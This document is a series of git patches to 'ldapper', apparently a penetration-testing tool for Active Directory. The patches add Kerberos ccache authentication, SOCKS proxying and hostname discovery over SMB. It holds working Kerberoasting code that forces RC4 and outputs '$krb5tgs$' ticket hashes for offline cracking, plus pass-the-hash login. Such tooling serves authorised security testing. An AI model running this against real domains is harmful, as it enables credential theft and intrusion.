From 8b0108b8bb3400ab46e4c4ca5792e4acf679f36c Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Fri, 30 Sep 2022 18:49:00 -0400 Subject: [PATCH 1/6] authenticate with ccache file; need to fix proxy issue though --- Commands/RequestSPN.go | 110 +++++++++++++++++++++-------------------- Globals/Globals.go | 38 ++++++++++++++ go.mod | 8 ++- main.go | 39 ++++++++++++++- 4 files changed, 140 insertions(+), 55 deletions(-) diff --git a/Commands/RequestSPN.go b/Commands/RequestSPN.go index 9f5b245..25ce641 100644 --- a/Commands/RequestSPN.go +++ b/Commands/RequestSPN.go @@ -1,23 +1,24 @@ package Commands import ( + "encoding/hex" "fmt" - "strings" - "encoding/hex" - "github.com/jcmturner/gokrb5/v8/config" - "github.com/jcmturner/gokrb5/v8/client" - "github.com/jcmturner/gokrb5/v8/iana/etypeID" - "log" - "os" -) + "log" + "os" + "strings" + "github.com/jcmturner/gokrb5/v8/client" + "github.com/jcmturner/gokrb5/v8/config" + "github.com/jcmturner/gokrb5/v8/credentials" + "github.com/jcmturner/gokrb5/v8/iana/etypeID" +) // dont really like this string for the config // would rather just create a new config and make changes via functions // would be easier to read // cant seem to figure out how to add a [realm] though const ( -libdefault = `[libdefaults] + libdefault = `[libdefaults] default_realm = %s dns_lookup_realm = false dns_lookup_kdc = false @@ -37,55 +38,58 @@ default_domain = %s ) func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) { - - var cl *client.Client - var ticket string - // Need domain in uppercase for GOKRB5 Config - domain = strings.ToUpper(domain) + var cl *client.Client + var ticket string + + // Need domain in uppercase for GOKRB5 Config + domain = strings.ToUpper(domain) + + l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) + + c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + + if err != nil { + l.Fatalf("Error Loading Config: %v\n", err) + } - l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) + // Create a Kerberos client with either password or hash + if password != "" { + cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } else if ntlm != "" { + cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } else { + ccache, _ := credentials.LoadCCache(os.Getenv("KRB5CCNAME")) + cl, _ = client.NewFromCCache(ccache, c) + } - c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + // Add socks info to client config if enabled + if socksServer != "" { + cl.Config.Socks.Enabled = true + cl.Config.Socks.Version = socksType + cl.Config.Socks.Server = socksServer + } - if err != nil { - l.Fatalf("Error Loading Config: %v\n", err) - } - - // Create a Kerberos client with either password or hash - if password != ""{ - cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - }else if ntlm != ""{ - cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - } + err = cl.Login() + if err != nil { + l.Fatalf("Erron on AS_REQ: %v\n", err) + } - // Add socks info to client config if enabled - if socksServer != "" { - cl.Config.Socks.Enabled = true - cl.Config.Socks.Version = socksType - cl.Config.Socks.Server = socksServer - } + tgt, _, err := cl.GetMSPrincipalTicket(targetUser) - err = cl.Login() - if err != nil { - l.Fatalf("Erron on AS_REQ: %v\n", err) - } - - tgt, _, err := cl.GetServiceTicket(targetUser) - - // only printing out RC4 encrypted tickets currently - if err != nil { - l.Printf("Error getting service ticket: %v\n", err) - }else if tgt.EncPart.EType == etypeID.RC4_HMAC { - checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16]))) - hex.Encode(checksumHex, tgt.EncPart.Cipher[:16]) + // only printing out RC4 encrypted tickets currently + if err != nil { + l.Printf("Error getting service ticket: %v\n", err) + } else if tgt.EncPart.EType == etypeID.RC4_HMAC { + checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16]))) + hex.Encode(checksumHex, tgt.EncPart.Cipher[:16]) - cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:]))) - hex.Encode(cipherHex, tgt.EncPart.Cipher[16:]) - ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex) - }else if tgt.EncPart.EType != etypeID.RC4_HMAC { - // Don't belive this would happen becuase we only offer rc4 encrpytion based on our config - l.Printf("Invalid encryption type") - } - return ticket + cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:]))) + hex.Encode(cipherHex, tgt.EncPart.Cipher[16:]) + ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex) + } else if tgt.EncPart.EType != etypeID.RC4_HMAC { + // Don't belive this would happen becuase we only offer rc4 encrpytion based on our config + l.Printf("Invalid encryption type") + } + return ticket } diff --git a/Globals/Globals.go b/Globals/Globals.go index 8de2bab..4be8342 100644 --- a/Globals/Globals.go +++ b/Globals/Globals.go @@ -5,12 +5,15 @@ import ( "io" "log" "math" + "net" "os" "strconv" "strings" "text/tabwriter" "time" + "github.com/LeakIX/go-smb2" + "github.com/LeakIX/ntlmssp" "github.com/go-ldap/ldap/v3" ) @@ -106,3 +109,38 @@ func GetArrayDifference(a, b []string) (diff []string) { return } + +func GetMachineHostname(dc string) string { + conn, err := net.Dial("tcp", fmt.Sprintf("%s:445", dc)) + if err != nil { + panic(err) + } + defer conn.Close() + + ntlmsspClient, err := ntlmssp.NewClient( + ntlmssp.SetCompatibilityLevel(3), + ntlmssp.SetUserInfo("", ""), + ntlmssp.SetDomain("")) + if err != nil { + panic(err) + } + d := &smb2.Dialer{ + Initiator: &smb2.NTLMSSPInitiator{ + NTLMSSPClient: ntlmsspClient, + }, + } + + s, err := d.Dial(conn) + if err != nil { + log.Println(ntlmsspClient.SessionDetails().TargetInfo.Get(ntlmssp.MsvAvDNSComputerName)) + panic(err) + } + dnsComputerName, _ := ntlmsspClient.SessionDetails().TargetInfo.Get(ntlmssp.MsvAvDNSComputerName) + defer s.Logoff() + + dnsComputerNameString := string(dnsComputerName) + dnsComputerNameString = strings.Replace(dnsComputerNameString, "\x00", "", -1) + + return dnsComputerNameString + +} diff --git a/go.mod b/go.mod index d87b175..428b88e 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,8 @@ module ldapper go 1.17 require ( + github.com/LeakIX/go-smb2 v1.2.0 + github.com/LeakIX/ntlmssp v0.0.0-20220417170740-7da3d6bf7333 github.com/go-ldap/ldap/v3 v3.4.4 github.com/jcmturner/gokrb5/v8 v8.4.3 github.com/mazen160/go-random v0.0.0-20210308102632-d2b501c85c03 @@ -12,14 +14,18 @@ require ( require ( github.com/Azure/go-ntlmssp v0.0.0-20220621081337-cb9428e4ac1e // indirect + github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.4 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa // indirect golang.org/x/net v0.0.0-20220725212005-46097bf591d3 // indirect ) -replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220811043259-08c37c0bdf17 +replace github.com/go-ldap/ldap/v3 => github.com/mfdooom/ldap/v3 v3.0.0-20220923170830-3c0620c3cc59 + +replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220930223631-56e96234d4e0 diff --git a/main.go b/main.go index 7dcfb9c..e5af811 100644 --- a/main.go +++ b/main.go @@ -20,10 +20,31 @@ import ( "h12.io/socks" ) +const ( + libdefault = `[libdefaults] +default_realm = %s +dns_lookup_realm = false +dns_lookup_kdc = false +ticket_lifetime = 24h +renew_lifetime = 5 +forwardable = yes +proxiable = true +default_tkt_enctypes = rc4-hmac +default_tgs_enctypes = rc4-hmac +noaddresses = true +udp_preference_limit=1 +[realms] +%s = { +kdc = %s:88 +default_domain = %s +}` +) + type FlagOptions struct { upn string password string ntlm string + kerberos bool dc string scheme bool logFile string @@ -37,6 +58,7 @@ func options() *FlagOptions { upn := flag.String("u", "", "Username (username@domain)") password := flag.String("p", "", "Password") ntlm := flag.String("H", "", "Use NTLM authentication") + kerberos := flag.Bool("k", false, "Use Kerberos authentication") dc := flag.String("dc", "", "IP address or FQDN of target DC") scheme := flag.Bool("s", false, "Bind using LDAPS") logFile := flag.String("o", "", "Log file") @@ -50,6 +72,7 @@ func options() *FlagOptions { upn: *upn, password: *password, ntlm: *ntlm, + kerberos: *kerberos, dc: *dc, scheme: *scheme, logFile: *logFile, @@ -92,7 +115,7 @@ func main() { } // if required flags aren't set, print help - if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "") || opt.help { + if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "" && opt.kerberos == false) || opt.help { flag.Usage() fmt.Println("Examples:") fmt.Println("\tWith Password: \t./ldapper -u -p -dc -s") @@ -181,6 +204,20 @@ func main() { fmt.Println("Bind successful, dropping into shell. ") } } + // if kerberos option set + if opt.kerberos == true { + machineName := Globals.GetMachineHostname(opt.dc) + + spnTarget := fmt.Sprintf("ldap/%s", machineName) + + _, err = conn.GSSAPICCBindCCache(libdefault, domain, opt.dc, string(spnTarget), os.Getenv("KRB5CCNAME")) + if err != nil { + log.Fatal(err) + } else { + fmt.Println("Kerberos GSSAPI Bind succesful, dropping into shell. ") + } + } + baseDN := Globals.GetBaseDN(opt.dc, conn) // Create impromptu shell for input From e0e02501e1bbc4100ec11b1df7c64095dcdf9fbf Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Fri, 30 Sep 2022 19:10:36 -0400 Subject: [PATCH 2/6] move libdefault config file to Globals --- Commands/RequestSPN.go | 22 ++-------------------- Globals/Globals.go | 20 ++++++++++++++++++++ main.go | 22 +--------------------- 3 files changed, 23 insertions(+), 41 deletions(-) diff --git a/Commands/RequestSPN.go b/Commands/RequestSPN.go index 25ce641..a6264d9 100644 --- a/Commands/RequestSPN.go +++ b/Commands/RequestSPN.go @@ -3,6 +3,7 @@ package Commands import ( "encoding/hex" "fmt" + "ldapper/Globals" "log" "os" "strings" @@ -17,25 +18,6 @@ import ( // would rather just create a new config and make changes via functions // would be easier to read // cant seem to figure out how to add a [realm] though -const ( - libdefault = `[libdefaults] -default_realm = %s -dns_lookup_realm = false -dns_lookup_kdc = false -ticket_lifetime = 24h -renew_lifetime = 5 -forwardable = yes -proxiable = true -default_tkt_enctypes = rc4-hmac -default_tgs_enctypes = rc4-hmac -noaddresses = true -udp_preference_limit=1 -[realms] -%s = { -kdc = %s:88 -default_domain = %s - }` -) func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) { @@ -47,7 +29,7 @@ func RequestSPN(targetUser string, username string, password string, ntlm string l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) - c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + c, err := config.NewFromString(fmt.Sprintf(Globals.Libdefault, domain, domain, dc, domain)) if err != nil { l.Fatalf("Error Loading Config: %v\n", err) diff --git a/Globals/Globals.go b/Globals/Globals.go index 4be8342..2380808 100644 --- a/Globals/Globals.go +++ b/Globals/Globals.go @@ -17,6 +17,26 @@ import ( "github.com/go-ldap/ldap/v3" ) +const ( + Libdefault = `[libdefaults] +default_realm = %s +dns_lookup_realm = false +dns_lookup_kdc = false +ticket_lifetime = 24h +renew_lifetime = 5 +forwardable = yes +proxiable = true +default_tkt_enctypes = rc4-hmac +default_tgs_enctypes = rc4-hmac +noaddresses = true +udp_preference_limit=1 +[realms] +%s = { +kdc = %s:88 +default_domain = %s +}` +) + func LdapSearch(baseDN string, query string) *ldap.SearchRequest { return ldap.NewSearchRequest( baseDN, diff --git a/main.go b/main.go index e5af811..cd9fed9 100644 --- a/main.go +++ b/main.go @@ -20,26 +20,6 @@ import ( "h12.io/socks" ) -const ( - libdefault = `[libdefaults] -default_realm = %s -dns_lookup_realm = false -dns_lookup_kdc = false -ticket_lifetime = 24h -renew_lifetime = 5 -forwardable = yes -proxiable = true -default_tkt_enctypes = rc4-hmac -default_tgs_enctypes = rc4-hmac -noaddresses = true -udp_preference_limit=1 -[realms] -%s = { -kdc = %s:88 -default_domain = %s -}` -) - type FlagOptions struct { upn string password string @@ -210,7 +190,7 @@ func main() { spnTarget := fmt.Sprintf("ldap/%s", machineName) - _, err = conn.GSSAPICCBindCCache(libdefault, domain, opt.dc, string(spnTarget), os.Getenv("KRB5CCNAME")) + _, err = conn.GSSAPICCBindCCache(Globals.Libdefault, domain, opt.dc, string(spnTarget), os.Getenv("KRB5CCNAME")) if err != nil { log.Fatal(err) } else { From 67c6fe00fd004fc3e865b2883d4580ac84c913c4 Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Fri, 30 Sep 2022 19:11:37 -0400 Subject: [PATCH 3/6] delete comments; but still would rather build config programatically --- Commands/RequestSPN.go | 5 ----- 1 file changed, 5 deletions(-) diff --git a/Commands/RequestSPN.go b/Commands/RequestSPN.go index a6264d9..6a538c4 100644 --- a/Commands/RequestSPN.go +++ b/Commands/RequestSPN.go @@ -14,11 +14,6 @@ import ( "github.com/jcmturner/gokrb5/v8/iana/etypeID" ) -// dont really like this string for the config -// would rather just create a new config and make changes via functions -// would be easier to read -// cant seem to figure out how to add a [realm] though - func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) { var cl *client.Client From b41fbc973aa2d1d74a59cc119bf91671400f6731 Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Fri, 30 Sep 2022 19:26:13 -0400 Subject: [PATCH 4/6] updated help and README for kerberos auth --- README.md | 10 ++++++++++ main.go | 3 ++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 9fd2ea6..c0937ac 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ Usage of ./ldapper: Log file -p string Password + -k Use Kerberos authentication -s Bind using LDAPS -socks4 string SOCKS4 Proxy Address (ip:port) @@ -82,6 +83,7 @@ Usage of ./ldapper: Examples: With Password: ./ldapper -u -p -dc -s With Hash: ./ldapper -u -H -dc -s + With Kerberos: ./ldapper -u -k -dc -s ``` # LDAPS Support @@ -106,6 +108,14 @@ Ldapper can also authenticate with a user's NTLM hash. This method can be used w > ./ldapper -u 'hanzo@overwatch.local' -H OOGNKVJB2TRCYLD26H4DVPF3KBP0SG03 -dc 10.10.10.101 -s ``` +## Kerberos + +Ldapper can also authenticate using a CCache file specefied in the KRB5CCNAME enviroment variable with the -k flag. + +``` +> ./ldapper -u 'hanzo@overwatch.local' -k -dc 10.10.10.101 -s +``` + # Query Modules ## Net diff --git a/main.go b/main.go index cd9fed9..1a2eb95 100644 --- a/main.go +++ b/main.go @@ -38,7 +38,7 @@ func options() *FlagOptions { upn := flag.String("u", "", "Username (username@domain)") password := flag.String("p", "", "Password") ntlm := flag.String("H", "", "Use NTLM authentication") - kerberos := flag.Bool("k", false, "Use Kerberos authentication") + kerberos := flag.Bool("k", false, "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)") dc := flag.String("dc", "", "IP address or FQDN of target DC") scheme := flag.Bool("s", false, "Bind using LDAPS") logFile := flag.String("o", "", "Log file") @@ -100,6 +100,7 @@ func main() { fmt.Println("Examples:") fmt.Println("\tWith Password: \t./ldapper -u -p -dc -s") fmt.Println("\tWith Hash: \t./ldapper -u -H -dc -s") + fmt.Println("\tWith Kerberos: \t./ldapper -u -k -dc -s") os.Exit(1) } From f2c60d65d1c2138ad8ac45c4caf4b15cbd78ec35 Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Fri, 30 Sep 2022 19:30:55 -0400 Subject: [PATCH 5/6] readme fix --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c0937ac..ac69aac 100644 --- a/README.md +++ b/README.md @@ -110,7 +110,7 @@ Ldapper can also authenticate with a user's NTLM hash. This method can be used w ## Kerberos -Ldapper can also authenticate using a CCache file specefied in the KRB5CCNAME enviroment variable with the -k flag. +Ldapper can also authenticate using a CCache file specefied in the KRB5CCNAME enviroment variable with the `-k` flag. ``` > ./ldapper -u 'hanzo@overwatch.local' -k -dc 10.10.10.101 -s From 29fb76acb78d11aaddd630e857825a2ce1276671 Mon Sep 17 00:00:00 2001 From: Mac Knight Date: Mon, 3 Oct 2022 22:58:22 -0400 Subject: [PATCH 6/6] refactored kerberos client code to globals; fixed proxy issue for GSSAPI bind as well --- Commands/RequestSPN.go | 32 +++---------------------- Globals/Globals.go | 54 ++++++++++++++++++++++++++++++++++++++---- go.mod | 2 +- main.go | 26 +++++++++++++------- 4 files changed, 70 insertions(+), 44 deletions(-) diff --git a/Commands/RequestSPN.go b/Commands/RequestSPN.go index 6a538c4..f26442c 100644 --- a/Commands/RequestSPN.go +++ b/Commands/RequestSPN.go @@ -6,47 +6,21 @@ import ( "ldapper/Globals" "log" "os" - "strings" "github.com/jcmturner/gokrb5/v8/client" - "github.com/jcmturner/gokrb5/v8/config" - "github.com/jcmturner/gokrb5/v8/credentials" "github.com/jcmturner/gokrb5/v8/iana/etypeID" ) -func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) { +func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, ccache bool, socksServer string, socksType int) (spnResult string) { var cl *client.Client var ticket string + var err error - // Need domain in uppercase for GOKRB5 Config - domain = strings.ToUpper(domain) + cl = Globals.GetKerberosClient(domain, dc, username, password, ntlm, ccache, socksServer, socksType) l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile) - c, err := config.NewFromString(fmt.Sprintf(Globals.Libdefault, domain, domain, dc, domain)) - - if err != nil { - l.Fatalf("Error Loading Config: %v\n", err) - } - - // Create a Kerberos client with either password or hash - if password != "" { - cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - } else if ntlm != "" { - cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) - } else { - ccache, _ := credentials.LoadCCache(os.Getenv("KRB5CCNAME")) - cl, _ = client.NewFromCCache(ccache, c) - } - - // Add socks info to client config if enabled - if socksServer != "" { - cl.Config.Socks.Enabled = true - cl.Config.Socks.Version = socksType - cl.Config.Socks.Server = socksServer - } - err = cl.Login() if err != nil { l.Fatalf("Erron on AS_REQ: %v\n", err) diff --git a/Globals/Globals.go b/Globals/Globals.go index 2380808..88cd885 100644 --- a/Globals/Globals.go +++ b/Globals/Globals.go @@ -15,10 +15,13 @@ import ( "github.com/LeakIX/go-smb2" "github.com/LeakIX/ntlmssp" "github.com/go-ldap/ldap/v3" + "github.com/jcmturner/gokrb5/v8/client" + "github.com/jcmturner/gokrb5/v8/config" + "github.com/jcmturner/gokrb5/v8/credentials" ) const ( - Libdefault = `[libdefaults] + libdefault = `[libdefaults] default_realm = %s dns_lookup_realm = false dns_lookup_kdc = false @@ -130,11 +133,22 @@ func GetArrayDifference(a, b []string) (diff []string) { return } -func GetMachineHostname(dc string) string { - conn, err := net.Dial("tcp", fmt.Sprintf("%s:445", dc)) - if err != nil { - panic(err) +func GetMachineHostname(dc string, proxyDial func(string, string) (net.Conn, error)) string { + var conn net.Conn + var err error + + if proxyDial != nil { + conn, err = proxyDial("tcp", fmt.Sprintf("%s:445", dc)) + if err != nil { + panic(err) + } + } else { + conn, err = net.Dial("tcp", fmt.Sprintf("%s:445", dc)) + if err != nil { + panic(err) + } } + defer conn.Close() ntlmsspClient, err := ntlmssp.NewClient( @@ -164,3 +178,33 @@ func GetMachineHostname(dc string) string { return dnsComputerNameString } + +func GetKerberosClient(domain string, dc string, username string, password string, ntlm string, ccacheAuth bool, socksAddress string, socksType int) *client.Client { + + var cl *client.Client + var err error + + domain = strings.ToUpper(domain) + c, _ := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain)) + + if ccacheAuth { + ccache, _ := credentials.LoadCCache(os.Getenv("KRB5CCNAME")) + cl, err = client.NewFromCCache(ccache, c) + if err != nil { + log.Fatal(err) + } + } else if password != "" { + cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } else if ntlm != "" { + cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false)) + } + + if socksAddress != "" { + cl.Config.Socks.Enabled = true + cl.Config.Socks.Version = socksType + cl.Config.Socks.Server = socksAddress + } + + return cl + +} diff --git a/go.mod b/go.mod index 428b88e..aae8b9b 100644 --- a/go.mod +++ b/go.mod @@ -26,6 +26,6 @@ require ( golang.org/x/net v0.0.0-20220725212005-46097bf591d3 // indirect ) -replace github.com/go-ldap/ldap/v3 => github.com/mfdooom/ldap/v3 v3.0.0-20220923170830-3c0620c3cc59 +replace github.com/go-ldap/ldap/v3 => github.com/mfdooom/ldap/v3 v3.0.0-20221002192048-71cd843f12e2 replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220930223631-56e96234d4e0 diff --git a/main.go b/main.go index 1a2eb95..63fc420 100644 --- a/main.go +++ b/main.go @@ -17,6 +17,7 @@ import ( "time" "github.com/go-ldap/ldap/v3" + "github.com/jcmturner/gokrb5/v8/client" "h12.io/socks" ) @@ -24,7 +25,7 @@ type FlagOptions struct { upn string password string ntlm string - kerberos bool + ccache bool dc string scheme bool logFile string @@ -38,7 +39,7 @@ func options() *FlagOptions { upn := flag.String("u", "", "Username (username@domain)") password := flag.String("p", "", "Password") ntlm := flag.String("H", "", "Use NTLM authentication") - kerberos := flag.Bool("k", false, "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)") + ccache := flag.Bool("k", false, "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)") dc := flag.String("dc", "", "IP address or FQDN of target DC") scheme := flag.Bool("s", false, "Bind using LDAPS") logFile := flag.String("o", "", "Log file") @@ -52,7 +53,7 @@ func options() *FlagOptions { upn: *upn, password: *password, ntlm: *ntlm, - kerberos: *kerberos, + ccache: *ccache, dc: *dc, scheme: *scheme, logFile: *logFile, @@ -81,8 +82,10 @@ func main() { var domain string var username string var target []string + var cl *client.Client var socksType int var socksAddress string + var proxyDial func(string, string) (net.Conn, error) target = strings.Split(opt.upn, "@") @@ -95,7 +98,7 @@ func main() { } // if required flags aren't set, print help - if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "" && opt.kerberos == false) || opt.help { + if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "" && opt.ccache == false) || opt.help { flag.Usage() fmt.Println("Examples:") fmt.Println("\tWith Password: \t./ldapper -u -p -dc -s") @@ -128,7 +131,7 @@ func main() { } // check for socks options - proxyDial := socks.DialSocksProxy(socksType, socksAddress) + proxyDial = socks.DialSocksProxy(socksType, socksAddress) if err != nil { log.Fatal("Cannot initialize proxy.") } @@ -186,12 +189,17 @@ func main() { } } // if kerberos option set - if opt.kerberos == true { - machineName := Globals.GetMachineHostname(opt.dc) + if opt.ccache == true { + cl = Globals.GetKerberosClient(domain, opt.dc, username, opt.password, opt.ntlm, opt.ccache, socksAddress, socksType) + if err != nil { + log.Fatal(err) + } + + machineName := Globals.GetMachineHostname(opt.dc, proxyDial) spnTarget := fmt.Sprintf("ldap/%s", machineName) - _, err = conn.GSSAPICCBindCCache(Globals.Libdefault, domain, opt.dc, string(spnTarget), os.Getenv("KRB5CCNAME")) + _, err = conn.GSSAPICCBindCCache(cl, spnTarget) if err != nil { log.Fatal(err) } else { @@ -369,7 +377,7 @@ func main() { } roastuser := userInput[1] - result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, socksAddress, socksType) + result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, opt.ccache, socksAddress, socksType) Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false) case "mquota": result := Queries.GetMachineQuota(baseDN, conn)